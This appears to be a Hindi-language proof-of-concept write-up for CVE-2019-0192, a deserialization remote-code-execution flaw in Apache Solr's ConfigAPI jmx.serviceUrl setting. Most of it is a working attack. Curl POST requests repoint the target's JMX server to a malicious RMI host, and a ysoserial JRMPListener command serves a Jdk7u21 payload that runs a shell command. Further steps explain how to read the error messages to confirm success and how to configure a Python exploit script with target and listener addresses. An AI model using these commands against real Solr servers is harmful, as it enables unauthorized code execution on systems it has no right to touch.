
jmx.serviceUrl के माध्यम से अविश्वसनीय डेटा के deserialization का उपयोग करके Apache Solr पर RCE
यह Apache Solr RCE का एक प्रारंभिक PoC है
स्रोत: https://issues.apache.org/jira/browse/SOLR-13301:
ConfigAPI, HTTP POST अनुरोध के माध्यम से Solr के JMX सर्वर को कॉन्फ़िगर करने की अनुमति देता है। इसे एक दुर्भावनापूर्ण RMI सर्वर की ओर इंगित करके, एक हमलावर Solr की असुरक्षित deserialization का लाभ उठाकर Solr पक्ष पर रिमोट कोड निष्पादन (remote code execution) ट्रिगर कर सकता है।

सुरक्षा सलाह (security advisory) के विवरण को देखकर और ConfigAPI Apache Solr के संसाधनों की जाँच करके, हम एक JMX सर्वर का संदर्भ पा सकते हैं:

serviceUrl - (वैकल्पिक str) JMX सर्वर के लिए सेवा URL। यदि निर्दिष्ट नहीं है तो डिफ़ॉल्ट प्लेटफ़ॉर्म MBean सर्वर का उपयोग किया जाएगा।
ConfigAPI कैसे काम करता है यह जाँच कर हम रिमोट JMX सर्वर सेट करने का तरीका दोहरा सकते हैं:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
PoC के लिए मैं yoserial का उपयोग करके Jdk7u21 पेलोड के साथ एक दुर्भावनापूर्ण RMI सर्वर बनाऊँगा।
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
नोट: आपको एक अच्छे stacktrace के साथ 500 त्रुटि मिलनी चाहिए
यदि आपको यह त्रुटि दिखे: "Non-annotation type in annotation serial stream" तो इसका मतलब है कि Apache Solr JRE 7u25 से अधिक java संस्करण के साथ चल रहा है और यह PoC काम नहीं करेगा।
अन्यथा आपको यह त्रुटि दिखनी चाहिए: "undeclared checked exception; nested exception is" और PoC काम करना चाहिए।
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
सुरक्षा सलाह: